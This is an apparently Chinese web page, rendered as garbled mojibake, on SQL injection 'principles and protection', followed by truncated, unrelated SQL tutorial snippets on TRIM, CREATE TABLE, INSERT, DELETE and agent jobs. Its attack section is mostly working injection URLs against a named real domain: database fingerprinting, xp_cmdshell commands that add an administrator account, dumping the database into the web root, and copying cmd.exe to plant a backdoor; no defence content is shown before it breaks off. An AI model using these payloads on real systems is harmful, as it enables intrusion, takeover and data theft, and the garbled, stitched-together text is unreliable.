SQL ×¢Èë¹¥»÷ÔÀí¼°·À»¤
SQL ×¢Èë¹¥»÷ÔÀí¼°·À»¤
ÔÚÈ·ÈÏ¿ÉÒÔ×¢ÈëµÄÇé¿öÏ£¬Ê¹ÓÃÏÂÃæµÄÓï¾ä£º
HTTP://www.163.com/news.asp?id=xx ;and (select count(*) from sysobjects)£¾0
HTTP://www.163.com/news.asp?id=xx ;and (select count(*) from msysobjects)£¾0
Èç¹ûÊý¾Ý¿âÊÇSQLServer£¬ÄÇôµÚÒ»¸öÍøÖ·µÄÒ³ÃæÓëÔÒ³ÃæHTTP://www.163.com/news.asp?id=xxÊÇ´óÖÂÏàͬµÄ£»¶øµÚ¶þ¸öÍøÖ·£¬ÓÉÓÚÕÒ²»µ½±ímsysobjects£¬»áÌáʾ³ö´í£¬¾ÍËã³ÌÐòÓÐÈÝ´í´¦Àí£¬Ò³ÃæÒ²ÓëÔÒ³ÃæÍêÈ«²»Í¬¡£
Èç¹ûÊý¾Ý¿âÓõÄÊÇAccess£¬ÄÇôÇé¿ö¾ÍÓÐËù²»Í¬£¬µÚÒ»¸öÍøÖ·µÄÒ³ÃæÓëÔÒ³ÃæÍêÈ«²»Í¬£»µÚ¶þ¸öÍøÖ·£¬ÔòÊÓºõÊý¾Ý¿âÉèÖÃÊÇ·ñÔÊÐí¶Á¸Ãϵͳ±í£¬Ò»°ãÀ´ËµÊDz»ÔÊÐíµÄ£¬ËùÒÔÓëÔÍøÖ·Ò²ÊÇÍêÈ«²»Í¬¡£´ó¶àÊýÇé¿öÏ£¬ÓõÚÒ»¸öÍøÖ·¾Í¿ÉÒÔµÃ֪ϵͳËùÓõÄÊý¾Ý¿âÀàÐÍ£¬µÚ¶þ¸öÍøÖ·Ö»×÷Ϊ¿ªÆôIIS´íÎóÌáʾʱµÄÑéÖ¤¡£
Èý¡¢È·¶¨XP_CMDSHELL¿ÉÖ´ÐÐÇé¿ö
Èôµ±Ç°Á¬½ÓÊý¾ÝµÄÕʺžßÓÐSAȨÏÞ£¬ÇÒmaster.dbo.xp_cmdshellÀ©Õ¹´æ´¢¹ý³Ì(µ÷Óô˴洢¹ý³Ì¿ÉÒÔÖ±½ÓʹÓòÙ×÷ϵͳµÄshell)Äܹ»ÕýÈ·Ö´ÐУ¬ÔòÕû¸ö¼ÆËã»ú¿ÉÒÔͨ¹ýÒÔϼ¸ÖÖ·½·¨ÍêÈ«¿ØÖÆ£¬ÒÔºóµÄËùÓв½Öè¶¼¿ÉÒÔÊ¡
1¡¢HTTP://www.163.com/news.asp?id=xx and user£¾;0 news.aspÖ´ÐÐÒì³£µ«¿ÉÒԵõ½µ±Ç°Á¬½ÓÊý¾Ý¿âµÄÓû§Ãû(ÈôÏÔʾdboÔò´ú±íSA)¡£
2¡¢HTTP://www.163.com/news.asp?id=xx and db_name()£¾0 news.aspÖ´ÐÐÒì³£µ«¿ÉÒԵõ½µ±Ç°Á¬½ÓµÄÊý¾Ý¿âÃû¡£
3¡¢HTTP://www.163.com/news.asp?id=xx£»exec master..xp_cmdshell “net user aaa bbb /add”-- (masterÊÇSQL-SERVERµÄÖ÷Êý¾Ý¿â£»ÃûÖеķֺűíʾSQL-SERVERÖ´ÐÐÍê·ÖºÅǰµÄÓï¾äÃû£¬¼ÌÐøÖ´ÐÐÆäºóÃæµÄÓï¾ä£»“—”ºÅÊÇ×¢½â£¬±íʾÆäºóÃæµÄËùÓÐÄÚÈݽöΪעÊÍ£¬ÏµÍ³²¢²»Ö´ÐÐ)¿ÉÒÔÖ±½ÓÔö¼Ó²Ù×÷ϵͳÕÊ»§aaa,ÃÜÂëΪbbb¡£
4¡¢HTTP://www.163.com/news.asp?id=xx£»exec master..xp_cmdshell “net localgroup administrators aaa /add”-- °Ñ¸Õ¸ÕÔö¼ÓµÄÕÊ»§aaa¼Óµ½administrators×éÖС£
5¡¢HTTP://www.163.com/news.asp?id=xx£»backuup database Êý¾Ý¿âÃû to disk='c:\inetpub\wwwroot\save.db' Ôò°ÑµÃµ½µÄÊý¾ÝÄÚÈÝÈ«²¿±¸·Ýµ½WEBĿ¼Ï£¬ÔÙÓÃHTTP°Ñ´ËÎļþÏÂÔØ(µ±È»Ê×ѡҪ֪µÀWEBÐéÄâĿ¼)¡£
6¡¢Í¨¹ý¸´ÖÆCMD´´½¨UNICODE©¶´
HTTP://www.163.com/news.asp?id=xx;exec master.dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe
c:\inetpub\scripts\cmd.exe” ±ãÖÆÔìÁËÒ»¸öUNICODE©¶´£¬Í¨¹ý´Ë
Ïà¹ØÎĵµ£º
SQL ÖÐµÄ TRIM º¯ÊýÊÇÓÃÀ´ÒƳýµôÒ»¸ö×Ö´®ÖеÄ×ÖÍ·»ò×Öβ¡£×î³£¼ûµÄÓÃ;ÊÇÒÆ³ý×ÖÊ×»ò×ÖβµÄ¿Õ°×¡£Õâ¸öº¯ÊýÔÚ²»Í¬µÄ×ÊÁÏ¿âÖÐÓв»Í¬µÄÃû³Æ£º
MySQL: TRIM(), RTRIM(), LTRIM()
Oracle: RTRIM(), LTRIM()
SQL Server: RTRIM(), LTRIM()
¸÷ÖÖ trim º¯ÊýµÄÓï·¨ÈçÏ£º
TRIM([[λÖÃ] [ÒªÒÆ³ýµÄ×Ö´®] from ] ×Ö´®): [λÖÃ] ......
±í¸ñÊÇÊý¾Ý¿âÖд¢´æ×ÊÁϵĻù±¾¼Ü¹¹¡£ÔÚ¾ø´ó²¿·ÝµÄÇé¿öÏ£¬Êý¾Ý¿â³§É̲»¿ÉÄÜÖªµÀÄúÐèÒªÈçºÎ´¢´æÄúµÄ×ÊÁÏ£¬ËùÒÔͨ³£Äú»áÐèÒª×Ô¼ºÔÚÊý¾Ý¿âÖн¨Á¢±í¸ñ¡£ËäÈ»Ðí¶àÊý¾Ý¿â¹¤¾ß¿ÉÒÔÈÃÄúÔÚ²»ÐèÓõ½ SQL µÄÇé¿öϽ¨Á¢±í¸ñ£¬²»¹ýÓÉÓÚ±í¸ñÊÇÒ»¸ö×î»ù±¾µÄ¼Ü¹¹£¬ÎÒÃǾö¶¨°üÀ¨ CREATE TABLE µÄÓï·¨ÔÚÕâ¸öÍøÕ¾ÖС£
ÔÚÎÒÃÇÌøÈë CREATE TABL ......
µ½Ä¿Ç°ÎªÖ¹£¬ÎÒÃÇѧµ½Á˽«ÈçºÎ°Ñ×ÊÁÏÓɱí¸ñÖÐÈ¡³ö¡£µ«ÊÇÕâЩ×ÊÁÏÊÇÈç¹û½øÈëÕâЩ±í¸ñµÄÄØ£¿ Õâ¾ÍÊÇÕâÒ»Ò³ (INSERT INTO) ºÍÏÂÒ»Ò³ (UPDATE) ÒªÌÖÂ۵ġ£
»ù±¾ÉÏ£¬ÎÒÃÇÓÐÁ½ÖÖ×÷·¨¿ÉÒÔ½«×ÊÁÏÊäÈë±í¸ñÖÐÄÚ¡£Ò»ÖÖÊÇÒ»´ÎÊäÈëÒ»±Ê£¬ÁíÒ»ÖÖÊÇÒ»´ÎÊäÈëºÃ¼¸±Ê¡£ ÎÒÃÇÏÈÀ´¿´Ò»´ÎÊäÈëÒ»±ÊµÄ·½Ê½¡£
ÒÀÕÕ¹ßÀý£¬ÎÒÃÇÏȽéÉÜÓï·¨¡£Ò»´ÎÊäÈ ......
ÔÚijЩÇé¿öÏ£¬ÎÒÃÇ»áÐèÒªÖ±½ÓÓÉÊý¾Ý¿âÖÐÈ¥³ýһЩ×ÊÁÏ¡£Õâ¿ÉÒÔ½åÓÉ DELETE from Ö¸ÁîÀ´´ï³É¡£ËüµÄÓï·¨ÊÇ£º
DELETE from "±í¸ñÃû"
WHERE {Ìõ¼þ}
ÒÔÏÂÎÒÃÇÓøöʵÀý˵Ã÷¡£¼ÙÉèÎÒÃÇÓÐÒÔÏÂÕâ¸ö±í¸ñ£º
Store_Information ±í¸ñ
store_name
Sales
Date
Los Angeles
$1500
Jan-05-1999
San Diego
$250
Jan-0 ......
Õ⼸Ììд´æ´¢¹ý³Ì£¬Ã¿Ì춨ʱ²îÒ챸·Ý£¬²¢×Ô¶¯·¢Óʼþ¸ø²Ù×÷ÈËÐÞ¸ÄÒªÐ޸ĵÄÄÚÈÝ¡£ ÔÚÕâÀïд³ösql serverµÄ´úÀí²Ù×÷£¬½ÓÏÂÀ´°ÑдµÄ·¢ÓʼþµÄ´æ´¢¹ý³ÌÒ²·¢³ö¡£´ó¼Ò×÷¸ö²Î¿¼¡¡¡¡
Èç¹ûÔÚsql server ÀïÐèÒª¶¨Ê±»òÕßÿ¸ôÒ»¶Îʱ¼äÖ´ÐÐij¸ö´æ´¢¹ý³Ì»ò3200×Ö·ûÒÔÄÚµÄsqlÓï¾äʱ,¿ÉÒÔÓùÜÀí->sql server´úÀí->×÷ÒµÀ´ÊµÏÖ¡£
  ......